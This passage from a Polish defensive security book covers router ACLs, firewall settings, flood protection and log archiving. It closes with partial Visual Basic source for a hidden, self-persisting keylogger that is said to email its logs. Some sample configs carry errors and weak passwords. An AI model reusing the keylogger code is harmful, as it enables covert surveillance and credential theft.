Rozdział 2.
Mechanizmy ochrony przed włamaniami
Jasne jest, iż jeśli nasze systemy komputerowe mają działać zgodnie z firmowymi lub osobistymi zasadami bezpieczeństwa, to zawsze jakieś porty lub usługi będą do pewnego stopnia wrażliwe na ataki hakerów. Aby maksymalnie zredukować te słabości i zabezpieczyć się przed zdalną infiltracją, konieczne jest poznanie szczegółów pewnych procedur, które powinny stać się częścią każdej polityki zabezpieczeń. Tego właśnie dotyczy drugi rozdział tej książki. W pierwszym omówiliśmy konkretne techniki, których można użyć do uchronienia się przed atakami wykorzystującymi zarezerwowane i ukryte porty oraz usługi. W tym poznasz kroki wymagane przy wprowadzaniu środków zabezpieczających, znane jako mechanizmy ochrony przed włamaniami. Jednym zdaniem, są to techniki używane do zabezpieczenia systemu przed penetracją.
Zabezpieczanie przed penetracją
Ten rozdział może stanowić odpowiedź na pytania postawione w pierwszym tomie tej książki, Hack wars. Na tropie hakerów, który przedstawia szczegółowe informacje dotyczące różnego rodzaju prób penetracji systemu (włączając w to ataki polegające na: wykorzystaniu luk wykrytych w czasie zbierania informacji i skanowania lokalizacji, wywołaniu ogólnego chaosu, uzyskaniu dostępu na prawach administratora, włamaniu się i przejęciu kontroli nad komputerami, serwerami i urządzeniami sieciowymi, a także wykorzystaniu potencjalnych dziur w zabezpieczeniach zarówno zdalnych, jak i lokalnych). W tym rozdziale zademonstrujemy techniki pozwalające na zabezpieczenie się przed takimi atakami. Poznamy metody ochrony przed programami wykorzystującym tylne drzwi (backdoor), przepełnianiem (flooding), manipulacją dziennikami, bombardowaniem pocztą (mail bombing), spamowaniem, łamaniem haseł, podszywaniem się (spoofing), podsłuchiwaniem pakietów, wirusami oraz włamaniami na strony internetowe. Przyjrzymy się także komercyjnym programom do tworzenia barier ochronnych, ręcznym technikom zespołu Tiger Team, a także własnym sposobom zabezpieczania programów. Niektóre środki ochronne przed typowymi atakami hakerów zostaną omówione bardziej szczegółowo. Po przeczytaniu będziesz posiadał wystarczającą wiedzę w zakresie zabezpieczenia lokalnej i zdalnej komunikacji.
Ochrona przed programami
wykorzystującymi tylne drzwi
Rozdział rozpoczniemy od omówienia technik wykorzystujących do włamania tylne drzwi. Jak już stwierdziliśmy w pierwszym tomie tej książki, takie programy składają się z narzędzi używanych przez hakerów do uzyskania i utrzymania dostępu do systemu, a także do ukrycia swoich śladów dostępu. A ponieważ lekarstwo na takie próby włamania może również posłużyć do naprawienia wad różnych systemów operacyjnych, w tej części przedstawimy także bariery ochronne przeciwko programom wykorzystującym tylne drzwi. Odnoszą się one do aktualnie wykorzystywanej architektury zabezpieczeń bramy, co obejmuje na przykład firewalle, filtry oraz proxy zarówno proste, jak i zaawansowane.
Badanie naruszeń zabezpieczeń przez programy tego typu może być skomplikowanym przedsięwzięciem i dlatego musi być dokładnie zaplanowanie. W czasie fazy projektowania zabezpieczeń należy rozważyć trzy często występujące schematy implementacji narzędzi wykorzystujących tylne drzwi. Mowa tu o wirtualnej kontroli połączenia, wewnętrznych implantach oraz wewnętrznych i zewnętrznych słabościach.
Wirtualna kontrola połączenia
Telnet, usługa współpracująca z zarezerwowanym portem 23, działa na szczycie protokołu TCP/IP jako emulator terminala dla sesji logowania. Ogólną zasadą jest, iż, jeśli to tylko możliwe, należy zablokować tę usługę przed zdalnym dostępem. Niestety, często jest ona niezbędna do zarządzania lokalnego.
W rozdziale 1. opisano sposób wyłączenia oraz zabezpieczenia tej usługi w systemach Windows i UNIX. W przypadku systemów sieciowych możesz dokonać kilku prostych modyfikacji konfiguracji w celu zdalnego zablokowania dostępu przez Telnet, pozwalając na lokalne uwierzytelnianie. Zajrzyj do podręcznika obsługi danego urządzenia, aby uzyskać informacje na temat procedury i aktualizacji. W tej części przyjrzymy się dokładniej dwóm podstawowym aplikacjom.
Przykład 1: Filtry urządzeń dostępowych Cisco
W scenariuszu przedstawionym na rysunku 2.1 dwie sieci są rozdzielone przy użyciu routerów filtrujących dostęp. Łącze WAN między nimi może symbolizować dowolne medium komunikacyjne, takie jak łącze dzierżawione, xDSL, ISDN, połączenie komutowane itp. (interfejs WAN oczywiście zmieni się odpowiednio; dla przykładu, jeśli używasz DSL, będzie to Ethernet 1, a jeśli korzystasz z ISDN, interfejs wskaże BRI 0). Można zmienić również zdalną sieć w celu przedstawienia Internetu, sieci klienta, sieci LAN dostawcy itp. Przyjrzyjmy się teraz konfiguracji sprzętowej, która musi spełnić następujące wymagania:
Rysunek 2.1. Typowy scenariusz sieci WAN z routerami filtrującymi dostęp
|
|
lokalni użytkownicy mogą uzyskać dostęp do wszystkich usług w zdalnej sieci;
zdalni użytkownicy nie mogą korzystać z usług telnet i rtelnet w sieci lokalnej;
stosowane jest szyfrowanie haseł.
Konfiguracja lokalna
service password-encryption
no service tcp-small-servers
no service udp-small-servers
!
hostname Local
!
enable password 7 password
!
ip source-route
no ip name-server
!
ip subnet-zero
no ip domain-lookup
ip routing
!
interface Ethernet 0
no shutdown
description connected to Ethernet LAN
ip address 172.29.41.1 255.255.255.0
ip access-group 100 in
keepalive 10
!
interface Serial 0
no shutdown
description connected to Remote network
ip address 172.29.42.1 255.255.255.252
ip access-group 100 in
encapsulation hdlc
!
! Lista kontroli dostępu 100
!
access-list 100 deny ip 172.29.42.0 0.0.0.3 any
access-list 100 deny ip 172.29.43.0 0.0.0.255 any
access-list 100 permit udp any eq rip any eq rip
access-list 100 permit tcp any any established
access-list 100 permit ip any 172.29.42.0 0.0.0.3
access-list 100 permit ip any 172.29.43.0 0.0.0.255
!
! Lista kontroli dostępu 101
!
access-list 100 deny ip 172.29.41.0 0.0.0.255 any
access-list 100 permit udp any eq rip any eq rip
access-list 100 permit tcp any any established
access-list 100 deny tcp 172.29.41.0 0.0.0.255 eq 23
access-list 100 deny tcp 172.29.41.0 0.0.0.255 eq 107
access-list 100 permit ip any 172.29.41.0 0.0.0.255
!
router rip
version 2
network 172.29.0.0
no auto-summary
!
!
ip classless
no ip http server
snmp-server community local RO
no snmp-server location
no snmp-server contact
!
line console 0
exec-timeout 0 0
password 7 123
login
!
line vty 0 4
password 7 password
login
Konfiguracja zdalna
service password-encryption
no service tcp-small-servers
no service udp-small-servers
!
hostname Remote
!
enable password password
!
no ip name-server
!
ip subnet-zero
no ip domain-lookup
ip routing
!
interface Ethernet 0
no shutdown
description connected to Ethernet LAN
ip address 172.29.43.1 255.255.255.0
keepalive 10
!
interface Serial 0
no shutdown
description connected to Local network
ip address 172.29.42.2 255.255.255.252
encapsulation hdlc
!
router rip
version 2
network 172.29.0.0
no auto-summary
!
!
ip classless
no ip http server
snmp-server community local RO
no snmp-server location
no snmp-server contact
!
line console 0
exec-timeout 0 0
password 123
login
!
line vty 0 4
password password
login
Przykład 2: Firewall NetScreen
Do scenariusza przedstawionego na rysunku 2.1 w tym przykładzie dodamy firewall NetScreen między lokalnym routerem a siecią LAN. Głównym celem tego firewalla jest ochrona sieci lokalnej przed atakami hakerów, choć w tym przykładzie skoncentrujemy się na wyłączeniu Telnetu dla użytkowników z zewnątrz. Na szczęście, dzięki zdobywającemu nagrody interfejsowi konfiguracji NetScreen ta modyfikacja będzie bardzo prosta.
Będąc w głównym interfejsie, wybierz Configure z opcji menu System po lewej stronie. Teraz w zakładce Interface na górze głównej ramki odnajdź opcję Untrust Interface i anuluj zaznaczenie Telnet, tak jak pokazano to na rysunku 2.2.
Wewnętrzne implanty
Wewnętrzne implanty występują dość często i są wysoce niebezpieczne. Takie implanty są instalowane w wewnętrznej sieci przez zaufanego użytkownika, technika lub osobę, na którą podziałano przy użyciu inżynierii społecznej. Jest to zwykle ktoś, kto ma osobiste zastrzeżenia do firmy lub współpracownik hakera nie posiadającego dostępu do sieci wewnętrznej.
Nie trzeba być osobą ze zmysłem technicznym, aby zdać sobie sprawę, iż ten typ zagrożenia wymaga wprowadzenia polityki zabezpieczeń, która obejmuje blokowanie dostępu do centrów danych, kamery, a także dzienniki modyfikacji zawierające informacje o dostępie do systemu. Każdy serwer, router i firewall powinien mieć włączoną
Rysunek 2.2. Wyłączanie funkcji Telnet w interfejsie użytkownika NetScreen
|
|
funkcję zapisywania regularnie archiwizowanych dzienników (obejmuje to również taśmy z kamer). Komercyjne programy, które zawierają standardowe mechanizmy tworzenia dzienników, powinny być używane nie tylko do badania działania funkcji, ale także do zbierania dowodów na aktywność zespołów hakerskich. Wszyscy goście, zewnętrzni konsultanci i dostawcy powinni wchodzić do biura tylko w towarzystwie autoryzowanych pracowników i przez cały czas nosić plakietki identyfikujące.
Wewnętrzne i zewnętrzne słabości
Jeśli sieć oferuje zdalne usługi ze strefy zdemilitaryzowanej lub za pomocą bezpiecznego połączenia przez firewall (do wewnętrznej sieci LAN) na zewnątrz sieci wewnętrznej, niektóre usługi mogą być podatne na implementację narzędzi wykorzystujących tylne drzwi. Jest to zwykle możliwe po skutecznej penetracji w czasie ataku wstępnego, takiego jak próba przepełnienia bufora czy portu.
Większość systemów zabezpieczeń jest uważana za nieadekwatne, co oznacza, iż haker może co najmniej spowodować przepełnienie bufora lub portu. Aby zabezpieczyć się przed takimi próbami wstępnego ataku, uprościłem szczegółowe techniki Tiger Team do postaci listy czynności do wykonania. Bardzo ważne jest wykonanie instrukcji przedstawionych w kolejnych sekcjach rozdziału i potraktowanie ich jako niezbędnej polityki zabezpieczającej przed zablokowaniem systemu. Prawdę mówiąc, każdy krok przedstawiony w poszczególnych rozdziałach tej książki powinien stać się częścią takiej niezbędnej procedury.
Ochrona przed cookies
W czasie przeglądania Internetu, niezależnie od wykonywanych czynności i odwiedzanych stron, prawie każdy może śledzić Twoje ruchy, zbierając osobiste informacje o Tobie. Taki wyciek ważnych informacji jest możliwy dzięki cookies. Zgodnie z wcześniejszymi informacjami wiemy, że cookie to mały plik, który zawiera dane wukorzystywane przez przeglądarki internetowe. Dowiedzieliśmy się także, jak możemy wyłączyć cookies, modyfikując ustawienia zabezpieczeń przeglądarki. Taki drastyczny krok może jednak nie spotkać się z pozytywnym przyjęciem, ponieważ niektóre strony próbują dokonać personalizacji naszych wizyt, pamiętając nasze imiona, rekomendując produkty i śledząc nasze konta. Alternatywą w takiej sytuacji może być zastosowanie menedżera cookies.
Menedżerzy cookies to narzędzia, które monitorują i przechwytują niepożądaną komunikację cookies w tle. W czasie przeglądania Internetu, kiedy witryna próbuje użyć cookies do zebrania danych demograficznych, śledzić sposób wykorzystania strony lub zebrać dane osobiste, sprytny menedżer przechwyci takie cookies i zapyta nas o sposób postępowania. Dobry menedżer potrafi również wykryć programy lokalne, które próbują uzyskać dostęp do Internetu z naszego komputera.
Aby jeszcze bardziej zadbać o swoją prywatność, pamiętaj o zastosowaniu dobrego menedżera cookies, najlepiej takiego, który oferuje funkcję usuwania już istniejących. Możesz wybrać jeden z poniższych programów:
McAfee Internet Security 4.0 (www.mcafee-at-home.com),
Limit Software Cookie Crusher 2.6 (www.thelimitsoft.com),
Kookaburra Software Cookie Pal (www.kburra.com),
Idcide Privacy Wall (www.idcide.com).
Ochrona przed przepełnieniem
W pierwszym tomie tej książki przedstawiliśmy wiele typowych odmian ataków przy użyciu przepełniania, włączając w to techniki TCP, UDP i ICMP oraz przepełnianie portów zarezerwowanych i sieci. Znalazła się tam także demonstracja sposobu, w jaki napastnik może spowodować w zaatakowanych urządzeniach poważne przeciążenie sieci, a w niektórych przypadkach nawet odmowę świadczenia usług. Całe sieci zostały „rzucone na kolana” przez przepełnienie w czasie rozgłaszania danych. Odpowiedzią jest ta część opisująca środki ochronne przed tymi typowymi zagrożeniami; omówiony tu zostanie sposób postępowania dla serwerów, stacji roboczych i urządzeń sieciowych. Rozpoczniemy od zademonstrowania sposobów zabezpieczeń stacji roboczych, następnie przejdziemy do serwerów i zakończymy na urządzeniach sieciowych.
Jeśli nie masz własnej karty sieciowej lub wirtualnego demona, być może nie będziesz miał dostępu do opcji konfiguracji chroniących przed przepełnieniem TCP, UDP i ICMP. W takiej sytuacji należy uzyskać odpowiednie oprogramowanie zabezpieczające, takie jak firewalle czy narzędzia typu BlackICE Defender (w części 1. tej książki przedstawiono wiele zestawów oprogramowania, które udostępniają zabezpieczenia przed technikami przepełniania). Przykład takiego programu znajduje się na rysunku 2.3; przyjrzyj się, jak BlackICE można skonfigurować na różnych poziomach zabezpieczenia przed niepożądanym ruchem.
Rysunek 2.3. Konfiguracja narzędzia BlackICE zapewniająca ochronę przed niepożądanym ruchem
|
|
Zwykle takie narzędzie jest ustawione na poziom zabezpieczeń, który automatycznie chroni poszczególne stacje robocze przed przepełnieniem. Uruchomiona jest również funkcja zapisywania wszystkich działań w dzienniku. Rysunek 2.4 przedstawia funkcję wykrywania i zabezpieczania przed przepełnieniem ICMP wraz z opcją dodania hakera do listy zablokowanych adresów.
Rysunek 2.4. Ochrona i zabezpieczenie przed przepełnieniem ICMP
|
|
Ten sam typ narzędzi może być wykorzystany do zabezpieczenia pojedynczych serwerów, ale mimo to omówimy najpopularniejsze metody ochrony usług oferowanych przez serwery.
|
Należy pamiętać o przestrzeganiu ogólnej zasady, mówiącej o instalacji najnowszej wersji systemu operacyjnego i wszystkich aktualizacji. Producenci oprogramowania dokładają starań, aby przeciwdziałać nowym odmianom ataków hakerów. Należy także dobrze zabezpieczyć zarezerwowane usługi portów, takie jak echo, chargen i telnet, dzięki czemu istnieje szansa wyeliminowania wielu zdalnych napastników. |
Aby wyłączyć te usługi w systemach Windows, musisz dokonać edycji rejestru systemowego, uruchamiając narzędzie regedit.exe ze znaku zachęty Start|Uruchom. Wyszukaj wpisy dla tych usług i ustaw ich wartość na false lub 0. Po zakończeniu edycji zrestartuj system i zweryfikuj wszystkie modyfikacje. Jeśli chcesz wyłączyć te usługi w systemie UNIX, po prostu dokonaj edycji pliku /etc/inetd.conf i oznacz wpis usługi jako komentarz. Następnie zrestartuj cały system lub tylko proces inetd. Więcej informacji na temat tych procedur możesz znaleźć w rozdziale 1. Tak jak wspomniano w tym rozdziale, jeśli masz wątpliwości dotyczące tych modyfikacji, możesz zajrzeć do dodatku A, gdzie znajdują się informacje na temat różnych programów zabezpieczających. TigerWatch pozwala na aktywne monitorowanie i blokowanie portów systemowych i usług bez konieczności dokonywania zmian w rejestrze lub ręcznego wyłączania danej usługi.
W przypadku gdy dana usługa jest wymagana przez firmowe lub osobiste zasady działania, możesz w UNIX-ie włączyć funkcję wrap dla tej usługi lub ograniczyć liczbę jednoczesnych połączeń z daną usługą. Ograniczająć liczbę odpowiedzi na zapytania portu, możesz uniknąć przepełnienia, ponieważ serwer poświęci zasoby tylko na bezpieczną ilość otwartych sesji (patrz rysunek 2.5). Ta procedura jest szczególnie polecana dla demonów typu Telnet, FTP i http. Nie należy również zapomnieć o wyłączeniu banerów usług oraz otwieraniu dostępnych sesji przy użyciu adresów IP lub zaszyfrowanego uwierzytelniania.
Rysunek 2.5. Ograniczanie zapytań sesji usługi
|
|
Obecnie producenci sprzętu sieciowego dołączają do swoich urządzeń zaawansowane moduły i aktualizacje zabezpieczające przed przepełnieniem. Zanim więc kupisz nowy sprzęt, wybierz urządzenie, które jest stabilne i nie znajduje się w fazie testowej lub na początku produkcji. Inżynierowie zawsze kompilują nowsze wersje urządzeń z prostszym interfejsem działania oraz mniej enigmatycznymi procedurami wiersza poleceń. Dobrym przykładem mogą być tutaj routery Cisco z włączoną funkcją firewalla, które oferują zaawansowane opcje zabezpieczeń wymienione poniżej.
Global Timer Values (globalne wartości liczników). Te opcje determinują okres czasu, jaki musi minąć dla różnych stanów połączeń, zanim połączenie zostanie przerwane.
TCP connection timeout — czas oczekiwania na połączenie TCP, zanim połączenie nie zostanie przerwane.
TCP FIN-wait timeout — czas oczekiwania na zakończenie połączenia TCP, zanim połączenie nie zostanie przerwane.
TCP idle timeout — czas braku aktywności połączenia TCP, zanim połączenie nie zostanie przerwane.
UDP idle timeout — czas braku aktywności połączenia UDP, zanim połączenie nie zostanie przerwane.
DNS timeout — czas dozwolony na próbę połączenia z serwerem DNS, zanim próba nie zostanie uznana za nieudaną.
DoS Attack Threshold (progi liczników ataków DoS). Te opcje ograniczają liczbę półotwartych sesji DoS. Niezwykle wysoka liczba półotwartych sesji DoS zarówno pod względem liczby całkowitej, jak i prędkości przyrostu może świadczyć o próbie ataku DoS (odmowa usługi). Górne wartości progów w tej grupie wskazują liczbę sesji, która wywołuje usunięcie półotwartych sesji. Usuwanie takich sesji będzie trwało aż do momentu osiągnięcia dolnej wartości odpowiedniego progu.
One-minute low threshold — liczba półotwartych sesji DoS w ciągu ostatniej minuty, która powoduje przerwanie procesu usuwania sesji DoS.
One-minute high threshold — liczba półotwartych sesji DoS w ciągu ostatniej minuty, która powoduje rozpoczęcie procesu usuwania sesji DoS.
Maximum incomplete session low threshold — całkowita liczba półotwartych sesji DoS, która powoduje przerwanie procesu usuwania sesji DoS.
Maximum incomplete session high threshold — całkowita liczba półotwartych sesji DoS, która powoduje rozpoczęcie procesu usuwania sesji DoS.
TCP Maximum Incomplete Sessions per Host (maksymalna liczba półotwartych sesji TCP dla hosta). Podaje maksymalną liczbę sesji, które mogą być otwarte dla każdego hosta, zanim wywołane zostanie jakieś działanie. To działanie jest zależne od wartości Blocking Time.
Blocking Time (czas blokowania). Jeśli włączona jest ta opcja, to po osiągnięciu maksymalnej wartości TCP Maximum Incomplete Sessions per Host router przestanie akceptować kolejne sesje, aż do momentu upływu czas podanego przez tę opcję. Jeśli wyłączono tę funkcję, każda nowa sesja spowoduje zamknięcie najstarszej sesji.
Przypomnij sobie scenariusz przedstawiony na rysunku 2.1 z działającym firewallem. Zaawansowane opcje zabezpieczeń zmienią konfigurację uruchomionego routera lokalnego w następujący sposób.
service password-encryption
no service tcp-small-servers
no service udp-small-servers
!
hostname Local
!
enable password 7 password
!
ip source-route
no ip name-server
!
ip subnet-zero
no ip domain-lookup
ip routing
!
! Kontrola dostępu w oparciu o kontekst
!
ip inspect tcp synwait-time 30
ip inspect tcp finwait-time 5
ip inspect tcp idle-time 3600
ip inspect udp idle-time 30
ip inspect dns-timeout 5
ip inspect one-minute low 900
ip inspect one-minute high 1100
ip inspect max-incomplete low 900
ip inspect max-incomplete high 1100
ip inspect tcp max-incomplete host 50 block-time 2
!
! IP inspect Ethernet_0
!
ip inspect name Ethernet_0 tcp
ip inspect name Ethernet_0 udp
ip inspect name Ethernet_0 cuseeme
ip inspect name Ethernet_0 ftp
ip inspect name Ethernet_0 h323
ip inspect name Ethernet_0 rcmd
ip inspect name Ethernet_0 realaudio
ip inspect name Ethernet_0 smtp
ip inspect name Ethernet_0 streamworks
ip inspect name Ethernet_0 vdolive
ip inspect name Ethernet_0 sqlnet
ip inspect name Ethernet_0 tftp
!
! IP inspect Serial_0
!
ip inspect name Serial_0 tcp
ip inspect name Serial_0 udp
ip inspect name Serial_0 cuseeme
ip inspect name Serial_0 ftp
ip inspect name Serial_0 h323
ip inspect name Serial_0 rcmd
ip inspect name Serial_0 realaudio
ip inspect name Serial_0 smtp
ip inspect name Serial_0 streamworks
ip inspect name Serial_0 vdolive
ip inspect name Serial_0 sqlnet
ip inspect name Serial_0 tftp
!
interface Ethernet 0
no shutdown
description connected to Ethernet LAN
ip address 172.29.41.1 255.255.255.0
ip inspect Ethernet_0 in
ip access-group 100 in
keepalive 10
!
interface Serial 0
no shutdown
description connected to Remote network
ip address 172.29.42.1 255.255.255.252
ip inspect Serial_0 in
ip access-group 101 in
encapsulation hdlc
!
! Lista kontroli dostępu 100
!
access-list 100 deny ip 172.29.42.0 0.0.0.3 any
access-list 100 deny ip 172.29.43.0 0.0.0.255 any
access-list 100 permit udp any eq rip any eq rip
access-list 100 permit ip any 172.29.42.0 0.0.0.3
access-list 100 permit ip any 172.29.43.0 0.0.0.255
!
! Lista kontroli dostępu 101
!
access-list 101 deny ip 172.29.41.0 0.0.0.255 any
access-list 101 permit udp any eq rip any eq rip
access-list 101 deny tcp 172.29.41.0 0.0.0.255 eq 23
access-list 101 deny tcp 172.29.41.0 0.0.0.255 eq 107
access-list 101 permit ip any 172.29.41.0 0.0.0.255
!
router rip
version 2
network 172.29.0.0
no auto-summary
!
!
ip classless
no ip http server
snmp-server community local RO
no snmp-server location
no snmp-server contact
!
line console 0
exec-timeout 0 0
password 7 password
login
!
line vty 0 4
password 7 password
login
Sprawdź u swojego producenta dostępność konkretnych procedur przeciwdziałających przepełnianiu. Wiele interfejsów lub konsoli do lokalnego zarządzania Internetem jeszcze bardziej ułatwia ustawienie odpowiednich opcji. Na rysunku 2.6 przyjrzyj się systemowi „wskaż i zaznacz” w programie NetScreen.
Rysunek 2.6. System „wskaż i zaznacz” w programie NetScreen sprawia, że nawet zaawansowane opcje zabezpieczeń stają się proste
|
|
Kolejnym popularnym atakiem hakerów jest rozgłaszanie (broadcasting). Według definicji zawartej w pierwszym tomie tej książki, oznacza to sposób transmisji czegoś we wszystkich kierunkach. Większość protokołów komunikacyjnych udostępnia funkcję wysyłania komunikatów do wszystkich węzłów w sieci. Dlatego też ważne jest, aby podzielić większe sieci na mniejsze części przy użyciu mostów i routerów, ponieważ takie mniejsze segmenty tworzą oddzielne domeny rozgłaszania. Wyobraź sobie pojedynczą sieć z 250 węzłami, która padła ofiarą przepełnienia przez rozgłaszanie. Napastnik może z łatwością zablokować całą przepustowość sieci. Jeśli jednak taka sieć zostanie właściwie podzielona na segmenty, routery i mosty będą mogły filtrować takie ataki, nie przesyłając po prostu takich transmisji przez interfejsy. W większości przypadków taka funkcja blokowania jest włączona domyślnie. Należy również pamiętać, iż możesz, a czasami nawet powinieneś, uzupełnić taką blokadę, używając narzędzia do podsłuchiwania pakietów (sniffer).
Ochrona przed manipulacją dziennikami
Manipulacja dziennikami to środek działania hakerów, służący do edycji dziennika nadzoru w celu usunięcia wszelkich śladów aktywności w systemie docelowym. Do tego celu hakerzy często używają oprogramowania osłaniającego, które wyszukuje i niszczy dzienniki, oznakowania i pliki tymczasowe.
W pierwszym tomie tej książki omówiliśmy typowe techniki manipulacji dziennikami w systemach Windows i UNIX, wykonywane w standardowych warunkach operacyjnych. W tej części skupimy się na sposobach zabezpieczenia tych procedur, co obejmuje metody archiwizacji w celu zapewnienia poprawnego działania funkcji zapisu dzienników. Ta funkcja może być niezmiernie przydatna w czasie zbierania jednoznacznych dowodów na ataki hakerów, a także w przypadku rozwiązywania problemów związanych z potencjalnymi konfliktami modyfikacji systemu. Istnieją również pewne logiczne procedury techniczne, które pomogą zabezpieczyć pliki dzienników, a także zaimplementować redundancję (nadmiarowość).
Zapisywanie zdarzeń w plikach dzienników jest ważną funkcją systemów operacyjnych, urządzeń sieciowych oraz demonów usług. Posiadanie takich informacji, jak modyfikacje konfiguracji, status operacyjny, status logowania oraz wykorzystanie procesów, może oszczędzić wiele czasu poświęconego na rozwiązywanie problemów i badanie zabezpieczeń. Funkcja tworzenia dzienników przez system, przeglądarkę, terminal i demony powinna stać się częścią procedury codziennego zbierania informacji systemowych. Dla przykładu pliki dzienników przeglądarki są przechowywane w poniżej przedstawionych katalogach. Można je wykorzystać w czasie codziennej archiwizacji.
NETSCAPE
\Netscape\Users\default\cookies.txt
\Netscape\Users\default\netscape.hst
\Netscape\Users\default\prefs.js
\Netscape\Users\default\Cache\*.*
INTERNET EXPLORER
\Windows\Tempor~1\index.dat
\Windows\Cookies\index.dat
\Windows\History\index.dat
Dzienniki demonów usług są znacznie prostsze do zarządzania; do tego celu można wykorzystać zapytania bazy danych, na przykład Accessa, Oracle'a lub SQL-a, lub bezpośredni dostęp do pliku, co zilustrowano na rysunku 2.7. W zależności od wykorzystania pliki dzienników powinny być regularnie archiwizowane. Zauważ jednakże, iż monitorowanie adresów URL, dostępu przez FTP oraz obsługa dzienników przeglądarki i proxy może znacznie zwiększyć wymagane nakłady.
Rysunek 2.7. Ustawianie funkcji dzienników demona usługi
|
|
Głównym problemem spowodowanym przez manipulację dziennikami jest usunięcie ich samych lub likwidacja danych po nieautoryzowanej penetracji. Z tego powodu omówimy techniki ukrytego tworzenia dzienników. Oprócz wcześniej wymienionych, znanych procedur tworzenia dzienników, ukryte dzienniki z ograniczonym dostępem (który zostaje przyznany tylko kilku zaufanym administratorom) mogą być świetną alternatywą. W niektórych przypadkach jednak może być zalecane lub konieczne przydzielenie odpowiedzialności za ukryte dzienniki wielu osobom, które nie współpracują ze sobą. Różne punkty widzenia tych osób mogą spowodować ulepszenie sposobu rozwiązywania konfliktów. Niezależnie od tego ukryte dzienniki z ograniczonym dostępem mogą zostać zaimplementowane przy użyciu własnej techniki w celu monitorowania osób korzystających z danego komputera (na przykład użytkowników z ograniczonymi prawami, takich jak małe dzieci) oraz śledzenia wszystkich czynności wykonywanych ręcznie.
Choć takie programy do tworzenia dzienników mogą być bardzo skomplikowane, są one relatywnie łatwe do zakodowania; istnieją również setki narzędzi typu shareware, freeware lub komercyjnych. Aby szybko je pobrać i przetestować, poszukaj takich programów w wersji dla Windows i UNIX na witrynach C|Net (download.cnet. com), TuCows (www.tucows.com), Shareware.com (www.shareware.com) i ZDNet (www.zdnet.com/downloads). Oto kilka najpopularniejszych programów:
Stealth Activity Recorder and Reporter (STARR) firmy IOPUS Software (www.iopus.com),
Invisible KeyLogger firmy Amecisco (www.amecisco.com),
KeyInterceptor firmy UltraSoft (www.ultrasoft.ro),
Ghost KeyLogger firmy Sure Shot (http://sureshot.virtualave.net).
Domowi i prywatni użytkownicy mogą również dostosować narzędzie TigerLog (patrz rysunek 2.8) w celu pełnego, ukrytego zapisywania w dzienniku wciskanych klawiszy. TigerLog oferuje możliwość modyfikacji klawiszy, które mają być zapisywane, zmiany sekwencji klawiszy aktywującej wyświetlenia okna podsłuchu sesji (obecnie Shift+F12), zmiany położenia i domyślnej nazwy pliku dziennika (/Windows/ System/TigerLog.TXT), a także wysłania zawartości pliku dziennika po jego zapełnieniu na wybrany adres e-mailowy (ktos@serwer_poczty.com) przy użyciu serwera SMTP (mail.mailserver.net). Poniżej znajduje się najbardziej aktualna kompilacja TigerLoga.
Rysunek 2.8. TigerLog (widoczny tryb podsłuchu sesji) do ukrytego monitorowania aktywności systemu i zapisywania w dzienniku wciśniętych klawiszy
|
|
TigerLog
Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegisterServiceProcess Lib "Kernel32.dll" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal cX As Long, ByVal cY As Long, ByVal wFlags As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private Const VK_CAPITAL = &H14
Const REG As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const HWND_TOPMOST = -1
Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1
Const flags = SWP_NOMOVE Or SWP_NOSIZE
Dim currentwindow As String
Dim logfile As String
Public Function CAPSLOCKON() As Boolean
Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While Getasynckeystate(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If Getasynckeystate(VK_CAPITAL) Then
While Getasynckeystate(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
Private Sub Command1_Click()
Form1.Visible = False
End Sub
Private Sub Form_Load()
If App.PrevInstance Then
Unload Me
End
End If
HideMe
Hook Me.hWnd
Dim mypath, newlocation As String, u
currentwindow = GetCaption(GetForegroundWindow)
mypath = App.Path & "\" & App.EXEName & ".EXE" 'nazwa aplikacji
newlocation = Environ("WinDir") & "\system\" & App.EXEName & ".EXE"
On Error Resume Next
If LCase(mypath) <> LCase(newlocation) Then
FileCopy mypath, newlocation
End If
u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0, KEY_ALL_ACCESS, a)
u = RegSetValueExA(a, App.EXEName, 0, REG, newlocation, 1)
u = RegCloseKey(a)
logfile = Environ("WinDir") & "\system\" & App.EXEName & ".TXT" 'nazwa_aplikacji.txt w Windows\system
Open logfile For Append As #1
Write #1, vbCrLf
Write #1, " -- Start: " & Now & "]"
Write #1, String$(50, "-")
Close #1
End Sub
Private Sub Form_Unload(Cancel As Integer)
UnHook Me.hWnd
texter$ = Text1
Open logfile For Append As #1
Write #1, texter
Write #1, String$(50, "-")
Write #1, " -- End: " & Now & "]"
Close #1
End Sub
Private Sub Timer1_Timer()
If currentwindow <> GetCaption(GetForegroundWindow) Then
currentwindow = GetCaption(GetForegroundWindow)
Text1 = Text1 & vbCrLf & vbCrLf & "[" & Time & " - Current Window: " & currentwindow & "]" & vbCrLf
End If
